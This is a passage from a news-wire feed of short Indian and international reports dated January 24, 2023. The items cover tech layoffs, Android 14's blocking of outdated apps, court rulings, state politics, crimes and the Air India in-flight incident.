The findings indicate "widespread concern about entering a recession this year", according to NABE President Julia Coronado.

With more Big Tech companies like Microsoft and Google joining the ongoing layoff season, about 3,000 tech employees are now being laid off per day on average in January globally, including in India.

According to the survey, a little more than half of the business economists feel the risk of a recession over the next year at 50 per cent or higher, which means more layoffs in the offing in 2023.

More than 65,000 employees have been sacked by 166 tech companies to date.

Google's parent company Alphabet announced to lay off 12,000 employees, or about 6 per cent of its workforce.

Microsoft Chairman and CEO Satya Nadella last week said the company will be "making changes that will result in the reduction of our overall workforce by 10,000 jobs through the end of FY23 Q3 (third quarter)".

Amazon earlier announced to lay off 18,000 employees globally, including nearly 1,000 in India.

Music streaming giant Spotify on Monday announced to slash 6 per cent of its workforce, or about 600 staffers, globally.

In 2022, over 1,000 companies laid off 154,336 workers, as per the data by layoffs tracking site Layoffs.fyi.
San Francisco, Jan 24 : Android 14 will start blocking the installation of apps that target outdated versions of Android to help reduce the potential for malware.

According to a newly posted code change, Android 14 is set to make API requirements stricter, entirely blocking the installation of outdated apps, reports 9to5Google.

This modification would prevent users from sideloading specific APK files and would also prevent app stores from installing those same apps.

Initially, Android 14 devices will only block apps that specifically target older Android versions.

However, Google intends to gradually raise the threshold to Android 6.0 (Marshmallow), with a mechanism in place to "progressively ramp it up", according to the report.

Although, it will probably still be up to device makers to determine the threshold for outdated apps or whether to enable them at all.

The tech giant intends to reduce the spread of malware apps on Android by blocking these outdated apps, said the report.

The report further mentioned that the developer who made the change notes that some malware apps have purposefully targeted older versions of Android in order to circumvent certain protections that are only enforced on newer apps.

Meanwhile, Google said that the upcoming Android 14 will "support our partners in enabling all of this" after SpaceX and T-Mobile unveiled plans to deliver direct satellite connectivity to smartphones.

On Twitter, Hiroshi Lockheimer, Senior Vice President of Platforms and Ecosystems at Google, described how it "was a stretch to get 3G + Wifi working" on the first shipping Android phone (HTC Dream/T-Mobile G1) in 2008".
San Francisco, Jan 24 : In a bizarre incident, an alleged murderer joined a private Facebook group of parents in the US and shared kids' items to spot pregnant mothers and kidnap them, media reports said.

According to an FBI search warrant, accessed by Forbes, Lucy Barrow joined the Facebook group meant for children's items between its 6,500 members.

According to the FBI, Barrow's real name was Amber Waterman, an alleged murderer, who had joined the group to find "pregnant women she could kidnap, kill and, possibly, steal their unborn children".

She ultimately found her victim, a 33-year-old mother-to-be Ashley Bush, most likely through the Facebook group, according to the FBI.

"Waterman has been accused of kidnapping Bush, shooting her, removing the child from her womb and presenting the deceased infant to emergency responders, before burning and hiding the victim's body near her home. Waterman pleaded not guilty in December and awaits trial in June," the report said.

In December last year, the FBI asked Facebook to provide posts from within the group, as well as names and addresses of the person who created the forum.

The government also asked for "all activity logs" for the group, "and all other documents showing the group's posts and other Facebook activities from October 24 2022 to November 3 2022." According to the report that was published on Monday, some mothers in the FB group said neither the FBI nor Meta (formerly Facebook) informed them that their data was used for a murder investigation via a warrant.

A group moderator was quoted as saying that the warrant infringed on its members' privacy.

She said it was Facebook's "responsibility to notify us that there's something like that going on so we can protect our information".

A Meta spokesperson said that while the company couldn't comment on ongoing investigations, "We provide notifications in a manner that protects user privacy and public safety".

However, the profile of Waterman who used the Lucy Barrow account to stalk pregnant women "remained online until Friday when Forbes made Meta aware".

"I have a bunch of baby items if any moms-to-be need them," her latest post read.
Los Angeles, Jan 24 : Hollywood star Will Smith is reportedly set to return for 'Aladdin' sequel, reprising his role as Genie from the 2019 Disney musical fantasy film.

Based on the 'One Thousand And One Nights' series of Middle Eastern folk tales, the script for the upcoming movie is being written. Details are still scarce, but the hope reportedly is that filming could begin at the end of this year, reports aceshowbiz.com.

"This would be one of the first movies Will has shot since the Oscars slap and it is quite surprising, given that it will be for a kids' film," a so-called movie insider says of Smith's acting return since his controversial behavior at the 2022 Academy Awards.

"He has done a lot of work on himself and the consensus is that it will all be very much in the past by the time the movie is released." "The first film was a huge success, so it would be silly not to make another, and it would be a real shame to have to re-cast Will over what happened," the source weighed in. "So Disney is keen to stand by him and bring him back into the fold." Other cast members, such as Mena Massoud, who stars as Aladdin, and Naomi Scott, who plays Jasmine, in the first movie, are reportedly also eager to return for the second installment.

Asked in December 2022 if he knew what was happening with the film, Massoud shared: "There was a change with the writers, and they are working on a new draft. If 'Aladdin 2' happens, that's fantastic. It should happen." He went on dishing, "It's not going to be based off the animated version. This is going to be a new original story." In the same month, Guy Ritchie, who directed 'Aladdin', was also asked about the possibility of asking Smith to return for the sequel amid rumors that Dwayne 'The Rock' John might replace him in the role following the Oscars slap drama. The helmer, however, still favors the 'King Richard' star and wants to keep him in the role.

"I've never met a more lovely man, and working with him was one of the most wonderful, great experiences I've ever had. I never saw anything other than the consummate, generous gentleman," the filmmaker gushed over Smith. "I wouldn't have any issue casting Will Smith in anything, because, as I say, he was just the f***ing perfect gentleman."Smith has been slowly regaining the public's trust after he slapped Chris Rock at last year's Oscars over the latter's joke about Jada Pinkett Smith's shaved head. Despite his apologies, he's banned from attending the Academy Awards for 10 years.

His latest film 'Emancipation', which was released in December of last year, was filmed in 2021, months before the slap incident.
New Delhi, Jan 24 : The Bharatiya Janata Party (BJP) has reacted sharply to Digvijaya Singh's statement in which the veteran Congress leader raised questions on the surgical strike. BJP spokesperson Ravi Shankar Prasad said that the Congress should clarify its stand on the issue related to the security of the country.

He said that this is very shameful and unfortunate, the leaders of the Congress party will have to apologize for this. This is the gang which works to break the country, and these leaders have the support of the senior leaders of the Congress party.

Earlier, Prasad had said on Tuesday that Digvijaya Singh is the one who raised questions on the Batla House encounter. Digvijaya is not an ordinary leader, he has been the Chief Minister of Madhya Pradesh for 10 years and has been the party General Secretary, he added.

Digvijaya Singh on Monday, while raising questions on the 'surgical strike', accused the government of lying on this issue. Addressing a gathering during the 'Bharat Jodo Yatra' in Jammu and Kashmir, Digvijaya had alleged that the government had not agreed to the CRPF's request to airlift its personnel from Srinagar to Delhi. It did not happen and 40 troopers lost their lives in a 2019 terrorist attack in Pulwama.

The Congress has distanced itself from this statement of Digvijaya Singh, calling it his personal opinion. Responding to the statement, Congress leader Rahul Gandhi said that he does not agree with it. Rahul said that whatever Digvijaya Singh said is not the stand of the Congress. Before Rahul Gandhi, senior Congress leader Jairam Ramesh had also given a clarification regarding the statement.
Mumbai, Jan 24 : In a major shocker, a gang of four persons, including a woman, impersonating Enforcement Directorate (ED) officers, "raided" and looted a Mumbai bullion dealer of gold and cash worth over Rs 2 crore, police said on Tuesday.

Moving swiftly into the investigations, the LT Marg Police have arrested three of the accused - Mumbaikars M. Fazal S. Gilitwala, 50, and M. Raji Rafiq, 37, and Vishakha Vishwas Mudhole from Khed town in Ratnagiri.

The police have also recovered a major portion of the loot from them even as the incident on Monday sent shockwaves in the glittering Zaveri Bazar area - the hub of gold jewellery business in south Mumbai.

Recounting the details, Deputy Commissioner of Police, II, Abhinav Deshmukh said that on Monday afternoon, Gilitwala and Rafiq barged into the offices of VBL Bullions in the heart of Zaveri Bazar and assaulted an attendant.

Announcing that "this is an ED raid", they demanded to meet company owner Viratbhai, started "searching" the office and staffers, confiscated their mobiles, and and ordered them to collect all the cash, gold and other valuables.

When worker Dashrath Mali demanded to see their I-cards, they slapped him, and even handcuffed him, and collected the booty worth over Rs 2 crore from the office, plus the mobile phones of the staffers.

They ordered Mali to take them to the other office at Diamond House nearby, where Vishakha Mudhole and her accomplice had already held hostage manager Vijay Shah, and demanded to know the whereabouts of Viratbhai.

Told that Virabhai had gone to his native place, the foursome freed Mali's handcuffs, asked him to leave the premises, grabbed the loot and decamped from there.

The scared Mali informed the shaken company officials and local jewellers on the "raids" but sensing something fishy, the police was informed, said DCP Deshmukh.

The police set up several teams, used tech-intel and scanned CCTV footage of the area and finally zeroed in on the culprits to arrest them.

"We have recovered Rs 15 lakh cash and around 2.70 kg of the stolen gold. We suspect there may be other associates involved in this operation and are on the lookout for them," said Deshmukh.

Meanwhile the accused Gilitwala and Rafiq were produced before the Esplanade Court and have been remanded to seven days' police custody, while the formalities for the accused woman Mudhole are underway.
New Delhi, Jan 24 : The Supreme Court on Tuesday allowed purse seine fishing (PSF) outside the territorial waters of Tamil Nadu but imposed stringent conditions to regulate the extent of PSF outside the 12-nautical-mile limit off the state.

A bench of Justices A.S. Bopanna and Sudhanshu Dhulia said: "We are of a prima facie opinion, that interest of all parties need to be protected. Hence, we propose to pass a restricted interim order, allowing the purse seine fishing beyond the territorial waters of Tamil Nadu, but within the Exclusive Economic Zone, with certain conditions." The bench said only registered fishing vessels, as on date, will be given permission i.e. a fishing vessel registered under Section 11 of the Marine Products Export Development Authority Act, 1972 (Central Act 13 of 1972) as well as registered with the state government under its rules or regulations, presently in force in Tamil Nadu.

"These vessels will be allowed to operate only twice a week i.e., on Monday and Thursday of each week with the other restrictions of non-fishing period applying as is applicable to all other fishing activity. The vessels which will be given this permission shall leave the coastline on or after 8 a.m. and shall return to the designated place positively by 6 p.m. on the same day," said the bench, in its order.

The bench noted that as far as the fishing beyond territorial waters, but within Exclusive Economic Zone (EEZ) is concerned, it has been told by Additional Solicitor General K.M. Nataraj that the Central government has placed no restrictions on this method of fishing. However, coastal states are divided on this issue -- Gujarat, Kerala, Andhra Pradesh, Odisha, Karnataka, Goa, and West Bengal -- have not made any restrictions on purse seine fishing, within its territorial waters, while a ban has been imposed by Tamil Nadu and also by Maharashtra.

Tamil Nadu had vehemently objected to PSF, even beyond the 12 nautical mile border. Senior advocate Mukul Rohatgi, representing the Tamil Nadu government, submitted that PSF is a "pernicious" method of fishing, as it is harmful to marine life, including fish. He added that PSF is a non-selective fishing technology which captures all kinds of fish, which would include protected species as well, therefore it has a dangerous effect on ecology.

Rohatgi said the vast majority of fishermen of Tamil Nadu who are traditionally engaged in fishing for their livelihood cannot afford this technology and depend on traditional methods of fishing.

Senior advocate Gopal Sankaranarayanan, representing purse seine fishermen, had argued that a large number of families are also dependent, in one way or another, in the fishing activity of the petitioners. Moreover, the fishing season will come to an end by next month i.e. February 2023, and in case, they are not allowed to fish beyond territorial waters they would also be incurring a huge loss as there has been a large investment on their part for purchase of vessels as well as purse seine fishing nets, he added.

The top court said tracking devices should be installed in these boats and also prescribed a colour code for them. It further added that fishing crew need to mandatorily carry identity cards.

The top court's order came on a petition filed by Fishermen Care to stay a Tamil Nadu government order of February 17, 2020 which had banned the large nets used to catch schools of fish in the deep waters of the sea. The petitioner moved the apex court challenging the Madras High Court order, which dismissed their plea challenging the state government decision.
New Delhi, Jan 24 : The Supreme Court on Tuesday removed the condition, mandating a magistrate's approval for withdrawal or withholding of life support to a terminally ill person.

A five-judge constitution bench, headed by Justice K.M. Joseph, said now the document will be signed by the executor of the living will. Two attesting witnesses, preferably independent, should be there when the document is signed and attested before a notary or gazetted officer, it added.

The bench also agreed to take on board a suggestion that the executor should hand over a copy of the advance directive to the family physician, if there is any.

The apex court introduced these changes in order to make the guidelines on "living will", which is an advance medical directive on end-of-life treatment, more workable.

The bench -- also comprising Justices Ajay Rastogi, Aniruddha Bose, Hrishikesh Roy, and C.T. Ravikumar -- said that the notary and the witnesses should record their satisfaction that the document has been executed voluntarily and there was no coercion involved.

The bench also agreed to a recommendation that the treating physician when learns about the advance directive, should then determine the authenticity of the document.

During the hearing in the matter, the top court had pulled up the Central government for not enacting a law on passive euthanasia as laid down in its 2018 judgment.

Last week, the Supreme Court had said it will not review its 2018 judgment on passive euthanasia and instead it would modify the guidelines on "living will" to make it more effective.

The bench had said: "We will simply make it a little bit more workable; we can't be reviewing it... We cannot be reopening the whole thing." Senior advocate Arvind P. Datar, representing The Indian Society for Critical Care, had submitted that he has submitted a chart elaborating the areas which are unworkable. Additional Solicitor General K.M. Nataraj, representing the Centre, said that everything has already been laid down and there are some practical difficulties and that vacuum has to be filled.

The top court was considering a plea seeking modification of the guidelines for living will/advance medical directive issued by it in 2018.

In 2018, a top court's judgment had recognised that a person in a persistent vegetative state may execute an advance medical directive or a "living will" to refuse medical treatment. But people wanting to get a "living will" registered were facing problems due to unworkable guidelines.
Pune, Jan 24 : Police in Pune have fished out bodies of at least 7 members of a family from different points in a river on the outskirts of the city in the past five days, an official said on Tuesday.

The bodies recovered include those of an elderly couple, a young man and woman, and three minor children, and they are said to be residents of a village in Parner in neighbouring Ahmednagar.

The bodies were found in different spots in the Bheema River at Yavet village and were fished around 200-300 metres apart. Further searches are going on, police said.

They have been identified as of Mohan Uttam Pawar, his wife Sangita Pawar, daughter Rani Shyam Phulware, her husband Shyam Phulware, and their children.

According to preliminary investigations, the family drove down from Ahmednagar to Daund shortly before midnight on January 17 and then reportedly jumped into the river.

The first of the bodies - of a woman - was spotted by locals the next day and police informed. After a search in the river length in the vicinity, the rest were brought out in the past five days.

Even as the incident sent shocks among people in the two district, the Pune police are investigating various angles, including if it was a suicide pact, or what the motives behind their drastic action could be, etc.
Irans Foreign Minister Hossein Amirabdollahian left Tehran for Uzbekistans capital Tashkent on Monday night to attend a ministerial meeting of the Economic Cooperation Organization (ECO) there, Azernews reports via IRNA.

Amirabdollahian will join his counterparts from ECO member states at the 26th Meeting of the organizations Council of Ministers scheduled for January 24, 2023.
Shillong, Jan 24 : Three lakh jobs in five years, financial assistance of Rs 1,000 per month to the youth and women are among the 10 promises made by the Trinamool Congress in its election manifesto for Meghalaya released on Tuesday.

Releasing the manifesto ahead of the February 27 Assembly elections, Trinamool's national General Secretary Abhishek Banerjee said: "When we make a pledge, we fight for its implementation till the last drop of our blood. We assure you that within 100 days of forming the government, our party will implement the 10 pledges for Meghalaya." Stating that the party's mission in Meghalaya is to turn this beautiful state into a model state across all sectors, he said that healthcare and education would be revamped.

The economy would be boosted for growth, the civic infrastructure would be made available for all, while indigenous rights would be protected at all costs, he said.

Banerjee said that the Trinamools 10 pledges for Meghalaya focus on key areas ignored by the National People's Party-led Meghalaya Democratic Alliance government, such as economy, youth, women's empowerment, social security, farming and agriculture, healthcare, education, civic amenities, tourism, sports, music and culture.

Addressing the manifesto release function, Meghalaya Trinamool chief Charles Pyngrope said, "Meghalaya has reached a juncture where we have become the only credible party that can take the state on the path of progress." Trinamool's legislative party leader and former Chief Minister Mukul Sangma said that the 10 important pledges they made on Tuesday are based on the inputs, issues, and challenges revolving around the lives of people across all sectors.

Trinamool also pledged to provide one lakh laptops to all higher secondary and college-going students in the state to keep up with the current trend and facilitate digital education.

Under the 'Guarantee For A Brighter Future' pledge, we would engage and identify individuals in the tourism sector and their services would be formalised through government-registered job cards with a monthly honorarium of Rs 2,500. The plan would only require Rs 75 crore annually, the Trinamool leaders said.

Reaffirming the party's commitment to women's empowerment, Trinamool's 10 pledges include the Meghalaya Financial Inclusion for Women's Empowerment (MFIWE) scheme under which women in all households in the state will get Rs 1,000 per month.

The party has also promised that social welfare pension will be increased to Rs 1,000 per month.

This, essentially, doubles the financial assistance to people with disabilities, single mothers, widows, and senior citizens, the Trinamool manifesto said.
Hyderabad, Jan 24 : Tollywood actor and Jana Sena Party (JSP) leader Pawan Kalyan said on Tuesday that if the BJP says no to an electoral alliance in Andhra Pradesh, his party may go alone or have new alliances. He also made it clear that there would be no alliance with the BJP in Telangana.

He hinted at alliance with other parties in both the Telugu states. He, however, said clarity on the electoral alliance would come after the announcement of election dates.

Pawan Kalyan was responding to queries from the media at Kondagattu in Telangana's Jagtial district after Vahana puja of his specially designed campaign vehicle at the local temple.

The actor politician, who met Telugu Desam Party (TDP) president and former chief minister of Andhra Pradesh N. Chandrababu Naidu twice in recent months, said that he wants to avoid a split of votes and hence calling for the parties to come together.

"They may come or may not come. We already have an alliance with the BJP. If they say no, we will go it alone," he said, adding that JSP is also ready for new alliances.

Later, addressing a meeting of JSP leaders from Telangana, Pawan Kalyan said JSP is ready to contest 25 to 40 Assembly and 7 to 14 Lok Sabha seats in Telangana.

He said if any party comes forward for alliance with JSP in Telangana, they would welcome it.

He said that there would be no electoral alliance with the BJP but he would extend his support to that party.

The JSP leader asked the party leaders to ensure that the party was able to influence the outcome even in constituencies where it would not field candidates.

Pawan Kalyan observed that the governance in Telangana is better compared to Andhra Pradesh. He, however, said the problems of both states were different and they cannot be compared.

He also remarked that those ruling Andhra Pradesh were not ordinary persons; they killed their own uncle, they abused the judiciary and used the police system as they wished.

He stated democracy has no value in Andhra Pradesh. "Such a leadership is not there in Telangana," he added.
New Delhi, Jan 24 : The Punjab Police has arrested notorious gangster Jagdeep Singh alias Jaggu Baghwanpuria, allegedly been associated with the BKI and Sikh For Justice, from Delhi's Tihar Jail.

He was taken to Punjab on transit remand and was later sent to police custody by a court there.

Recently Chief Judicial Magistrate, Sri Muktsar Sahib, Rajpal Rawl, issued a non-bailable warrant against Bhagwanpuria in connection with an extortion case and ordered he be produced before his court.

The Punjab Police arrested him from Tihar Jail, where he was presently lodged, on January 20, and produced documents before the Tis Hazari court to obtain transit remand.

As Bhagwanpuria's counsel Deepak Sharma said that there was danger to the life of his client, the Punjab Police said then keeping the threats in mind, they brought extra vehicles with armed police personnel for the safety of the accused.
Ghaziabad, Jan 24 : Two brothers were sentenced to life imprisonment on Monday for raping an 11-year-old girl in Ghaziabad for seven months.

The girl recently gave birth to a boy, fathered by the elder of the brothers.

According to reports, the two brothers -- Pradeep Kumar, 21, and Dileep Kumar, 19 -- lived as tenants in the house of the victim.

They first raped her on January 15, 2022, and repeatedly continued doing the same till a week before the FIR was lodged on September 5, 2022.

The FIR was lodged after the girl's mother noticed her unusually bloated abdomen and tested her with a pregnancy kit. The pregnancy was also confirmed later by doctors at MMG Hospital.

The Ghaziabad police expedited the charge sheet and submitted it before the court on September 27, 2022 while the court framed charges against the duo two days later.

Special Public Prosecutor, POCSO cases, Harish Kumar said: "A medical test confirmed that the girl was 36 weeks pregnant. Her parents gave a police complaint in this regard and an FIR was registered for gang rape and under provisions of Protection of Children from Sexual Offences Act (POCSO) Act. During the course of the trial, the girl delivered a boy and after her family refused to take it, the new born was handed over to the child welfare committee. The entire trial was completed in 105 days and both convicts were sentenced to life imprisonment and a penalty of Rs 50,000 each by the POCSO court." The prosecution said DNA profiling by police confirmed that Pradeep Kumar was the father of the new born.

The prosecution said the girl's testimony proved crucial to the case.

During the examination, she told the court that both brothers raped her repeatedly since January 15, 2022, in the absence of her parents and threatened to kill them if she told anyone about the rape.

"The two brothers raped me since January 15, 2022 and threatened me with a knife. They also forcibly gave me Rs 50-100," the girl told the court.

The girl also told the court that Narendra Dera, who operates a mobile phone shop, also raped her several times after the brothers raped her.

The court took cognizance and directed for another case to be lodged and the police charge sheeted three other accused - Dera, a minor girl, and a woman named Neetu.

"The case is in the trial stage. Of the three accused, Neetu is on the run while the minor girl is undergoing trial while Dera is in jail," Harish Kumar said.

The prosecution produced 15 witnesses during the trial, including healthcare staff and doctors from MMG district hospital as well as forensic experts from the forensic science laboratory at Niwari.

The girl was student of class 6 at a government school in east Delhi.
Kolkata, Jan 24 : The Enforcement Directorate (ED) probing the multi-crore cattle smuggling scam in West Bengal is now hopeful of taking Trinamool Congress strongman and the party's Birbhum district president Anubrata Mondal to Delhi for questioning after the Rouse Avenue Court in the national capital rejected the latter's bail plea on Tuesday.

However, sources said that ED will have to wait for a decision of the Delhi High Court on this count.

"Mondal had adopted the path of approaching multiple courts to stop us from taking him to Delhi for questioning. Accordingly, his counsels moved bail pleas in both Rouse Avenue Court and Delhi High Court. Now with the Rouse Avenue Court rejecting his bail petition, the first hurdle is clear. We will now have to wait for the Delhi High Court's decision on this count," said a legal associate of the central agency.

Mondal's bodyguard Sehgal Hossain, who was also arrested in connection with the cattle smuggling scam, is currently under judicial custody at Delhi's Tihar Jail. Sources said that the reason why the ED is so keen to take Mondal to the national capital is to place him face-to-face with Hossain and question the two together.

The hearing in the matter was scheduled at Delhi High Court on Monday. However, it did not happen because of the absence of the judge concerned and the next date of hearing has been scheduled on February 2.

Mondal is currently under judicial custody at the Asansol Special Correctional Home.
Patna, Jan 24 : Bihar Chief Minister Nitish Kumar, while targeting R.C.P. Singh and Upendra Kushwaha, claimed that many leaders came to his JD-U and he had promoted them but they either talked against his party or left it.

The party is not affected by it, he added.

On the 99th birth anniversary of Jannayak Karpoori Thakur, Nitish Kumar went to his native village Karpoorigram in Samastipur district to participate in an event to mark the occasion.

During the event, He said: "Some people (Kushwaha) came to the party two years ago and are criticising us with the actual motive of making grounds for leaving the party." Kushwaha, after the 2020 Assembly election, merged his RLSP into the JD-U after not managing to win a single seat. The JD-U had given him the post of party's Parliamentary Board President.

"I have promoted many leaders but they talked against us and left the party. The party is not affected with their absence," Nitish Kumar said.

Asked about Kushwaha's recent comments, he promptly said: "We have nothing to do with him. He came with us and said something. He is free to say whatever he wants. Don't ask me about him." Besides Kushwaha, Nitish Kumar also hinted that he had given top post to R.C.P. Singh who was a bureaucrat. but he was also involved in anti-party activities.
Imphal, Jan 24 : Manipur BJP leader Laishram Rameswor Singh was shot dead by some armed miscreants near his house at Khetri Leikai in Thoubal district on Tuesday, police said.

Police, who have arrested one of the suspects, said that the reason of the killing is not yet known while a probe is on to unearth the motive and nab the culprits.

Singh, 50, the convener of the state ex-servicemen cell of the ruling BJP, was standing near the gate of his house when the gunmen, came in a car, fired at him and then fled. He was immediately rushed to a private hospital where he succumbed to his bullet injuries.

The slain BJP leader's body was brought to the BJP state office in Imphal after post mortem examination and party leaders, including Chief Minister N. Biren Singh, paid floral tributes, and strongly condemned the "cowardly killing".

Police have tracked down the car, and its driver reportedly disclosed the details of the assailants. Search operations are on to arrest the killers.
Patna, Jan 24 : JD-U Parliamentary Board President Upendra Kushwaha on Tuesday demanded a meeting of the party's Executive Committee, while asking his party's top leadership to disclose the deal, if any, with the RJD during the formation of the grand alliance government.

"The leaders of the RJD claim every now and then that there was a deal between the RJD and the JD-U. If any such things had happened in the past, it should be disclosed in the Executive Committee meeting of the party. Why are RJD leaders saying this all the time? Do they want to remove Nitish Kumar," he said.

"In the past few days, the RJD leaders have targeted Nitish Kumar. I was standing alongside him and gave appropriate answers. Why other leaders of the party were not say anything? I want to request those leaders with folded hands to abuse me but avoid weakening the JD-U. Upendra Kushwaha cannot watch it like a silent spectator. The leaders of RJD used objectionable words like Shikhandi, night watchman, beggar etc, only Upendra Kushwaha stood with Nitish Kumar," Kushwaha added.

"When rumours spread about the JD-U merger in RJD, why other leaders of the party would not raise their voices against it," he said.

Kushwaha, claiming that there was a conspiracy going on against him, said: "I want to say that the conspiracy is not against me but it is against Nitish Kumar. If you are sidelining Upendra Kushwaha, that means you are sidelining Nitish Kumar. Upendra Kushwaha is standing between those leaders who want to weaken Nitish Kumar."
New Delhi, Jan 24 : Air India on Tuesday said that the crew made a judgement call to record the matter as a non-reportable in-flight incident because of many reasons. The airline said that the alleged perpetrator was calm, co-operative and professed ignorance of the allegation (of peeing on co-passenger). He posed no risk to flight safety in the judgement of the crew, said the airline.

"Based on the absence of witnesses to the alleged act, that the alleged perpetrator was peaceful, co-operative and claiming ignorance of the event, that there was no risk to flight safety and that a resolution had been witnessed between the parties, the crew made a judgement call to record the matter as an (non-reportable) in-flight incident rather than a (reportable) case of unruliness. It should also be noted that, in the absence of witnesses to the alleged act, crew were being asked to make a presumption of the accused's guilt which runs contrary to natural justice and due process," said Air India.

The airline said that upon receipt of the flight report, ground staff did not challenge the crew's assessment and, therefore, also did not report the matter as an unruly incident.

Air India has closed its internal investigation into the actions by its crew operating and administrative staff supporting AI102 on 26th November 2022.

About the peeing incident on the flight on November 26, the airline said that the crew were approached by the complainant seeking assistance after allegedly being urinated on by a fellow passenger. "In the absence of any witnesses, the crew took the complainant's allegation at face value and assisted her by providing fresh clothes, helping clean her belongings and relocating her to another business class seat of the same type as her original one," said the airline.

Air India said that the alleged perpetrator posed no risk to flight safety at any time in the judgement of the crew. "When awoken and confronted with the allegation, the alleged perpetrator was calm, co-operative and professed ignorance of the allegation. He had not been served excessive alcohol by crew and did not appear intoxicated to the crew. The Commander was kept regularly informed by cabin crew. In the judgement of the crew, the alleged perpetrator posed no risk to flight safety at any time," it said.

Air India acknowledges that, in immediately taking the complainant's accusation at face value and providing assistance, it follows that the matter should have been reported as a prima facie case of a passenger "behaving in a disorderly manner towards other passengers" and, as such, meeting the description of unruly behaviour at paragraph 4.9(d)(ii) of Civil Aviation Requirements, Section 3, Series M, Part VI (the CAR). The matter should have been classified and reported as such, without prejudice to any subsequent investigation into the facts, said the airline.

"In light of the mitigating circumstances and the financial detriment already incurred by the crew during their period of de-rostering, Air India deems the license suspension of the Commander excessive and will be assisting him with an appeal," said Air India.

Aviation regulator DGCA on January 20 imposed a fine of Rs 30 lakhs on Air India and suspended the license of pilot-in-command for three months in the Air India peeing case which occurred on November 26, 2022. Moreover, the regulator also imposed a penalty of Rs 3 lakh on Director-in-flight services of Air India for failing to discharge her duties.

As per the regulator, the incident of passenger misbehaviour which occurred on AI-102 flight from New York to New Delhi, came to the notice of the DGCA on January 4, 2023 wherein a male passenger conducted himself in a disorderly manner and allegedly relieved himself on a female passenger.

Currently, the matter lies with the Court and the case has witnessed many twists . The accused in the case, Shankar Mishra, was arrested from Bengaluru and brought to Delhi where the case against him was registered.
New Delhi, Jan 24 : An action plan was introduced to accelerate the PM Gati Shakti scheme's progress in the meeting of the Group of Infrastructure Committee on Tuesday to address existing inter-ministerial issues with regard to implementation of various infrastructure projects.

Union Road Transport and Highways Minister Nitin Gadkari chaired the 10th meeting of the committee.

Officials said that several issues were placed on the agenda for deliberation to expedite the progress of ongoing infrastructure projects. These included issues related to pending forest and environment clearances, facilitation of working approvals, and ensuring land allocation or transfer and release of funds.

Discussions were also held on policy matters related to environment/forest/wildlife clearance, railways and power, among others. Environment clearances and land policies of Railways and the Ministry and making comprehensive guidelines for environment and forest clearance were also discussed at length.

The officers concerned were directed to expedite the process of clearance and implementation of above matters. The stakeholder Ministries/Departments agreed to look into various issues raised and resolve the same in order to expedite infrastructure projects.

Union Commerce and Industry Minister Piyush Goyal, Railways, Communications, Electronics and Information Technology Minister Ashwini Vaishnaw, Union Environment, Forest and Climate Change Bhupender Yadav, Minister of State for Road Transport and Highways, Gen V.K. Singh (retd), Minister of State for Power Krishan Pal Gurjar, Minister of State for Ports, Shipping, and Waterways Shripad Naik, and Minister of State for Defence and Tourism Ajay Bhatt participated in the meeting.

Senior officers from the ministries concerned, the National Highways Authority of India (NHAI), National Highways and Infrastructure Development Corporation Ltd (NHIDCL) and representatives from states attended the meeting.
New Delhi, Jan 24 : The Supreme Court on Tuesday extended the protection granted to Yes Bank in an FIR lodged by the Noida police and also the restraint order from transferring and exercising voting rights in Dish TV on the basis of 44.53 crore shares pledged on disbursal of Rs 5,270 crore loan in 2016-18 to Essel group and its sister concerns.

In November 2021, the apex court stayed the Uttar Pradesh Police notice restraining Yes Bank from transferring and exercising voting rights on its Dish TV shares.

A bench headed by Chief Justice D Y Chandrachud said protection, granted in November last year to the Yes Bank, can continue.

After hearing senior advocate A.M. Singhvi, representing Yes Bank, it restored the application filed under Section 482 of the Criminal Procedure Code before the high court. "Let the high court take a call," the bench said.

The bench added that till the high court disposes the matter, the interim order passed by the apex court on November 30, 2021, staying the operation of notices and proceedings in connection with the FIR, shall continue.

In November 2021, the apex court issued notice on Yes Bank's plea and stayed the operation of notice by the police to the bank and also any further action based on the FIR.

Yes Bank moved the apex court challenging an order issued on November 25, 2021 of a single judge of Allahabad High Court. The high court had declined to entertain the plea to quash the FIR registered in September 2020.

The police had sent the notice to Yes Bank directing the bank not to transfer the 44.53 crore shares or to exercise rights in respect of the shares till completion of investigation by the Crime Branch or further orders.

Yes Bank acquired 24.5 per cent stake in Dish TV after the promoters failed to repay their debt and banks invoked the pledged shares.

A police complaint was filed by Subhash Chandra, the founder of Essel group, against the bank and its former management led by Rana Kapoor accusing them of fraud while brokering a merger transaction between Videocon D2H and Dish TV India.
Amaravati, Jan 24 : Police in Andhra Pradesh's Chittoor district on Tuesday granted permission for opposition Telugu Desam Party (TDP) General Secretary Nara Lokesh's proposed padayatra with certain conditions.

Lokesh, son of TDP national President N. Chandrababu Naidu, is scheduled to launch 4,000 km long padayatra from Kuppam in Chittoor district on January 27.

District Superintendent of Police Rishanth Reddy granted conditional permission for the march titled 'Yuvagalam' (youth's voice).

The permission came after days of uncertainty in view of the ban imposed early this month on conduct of meetings on roads.

The SP directed the organisers to abide by the timings fixed for the public meetings. He made it clear that the meetings should not be held on roads.

The organisers have been asked to ensure that the public and private property are not damaged. Police prohibited use of firecrackers during padyatra, while TDP workers and participants have been directed not to carry any weapons. The SP directed the organisers to arrange first aid and ambulance at the venue of the meeting to attend to any health emergency.

Meanwhile, TDP's Andhra Pradesh unit President K. Atchannaidu has said that the conditions imposed for Lokesh's padyatra reflect Jagan Mohan Reddy-led government's sense of insecurity. He stated that the TDP leader's padyatra will be a death knell for YSR Congress Party (YSRCP) rule.

He alleged that the government is trying to create hurdles for the padyatra. Atchannaidu said the police, which should provide protection, had imposed restrictions.

The TDP had last week urged Director General of Police K.V. Rajendranath Reddy to grant permission for the padyatra.

TDP Politburo member, Varla Ramaiah, who had written a letter to the DGP, had said that the police chief raised several unwanted and undesirable queries on padayatra by the party General Secretary.

Ramaiah had said that the detailed schedule of the padayatra will be provided to the local sub-divisional police officers (SDPOs) ahead of the schedule to enable the local police to provide necessary security arrangements.

The state-wide padyatra from from Kuppam to Itchapuram will cover around 125 Assembly segments spread over 4,000 km.

The TDP Politburo member said that Lokesh, through his padayatra, intends to bring awareness among the public on various issues plaguing the state like lack of employment opportunities, and poor welfare and development.
Jammu, Jan 24 : Jammu and Kashmir Director General of Police Dilbag Singh on Tuesday visited Rajouri district of Jammu and Kashmir where he chaired a high level meeting of Army, Police and CRPF officers to review the security scenario of the district, an official said.

Addressing the meeting, the DGP sought the progress of the investigation regarding the Dhangri terror incident and directed them to look at all the angles, and also work out the involvement of all the anti-national elements and terrorists involved in "the henious crime".

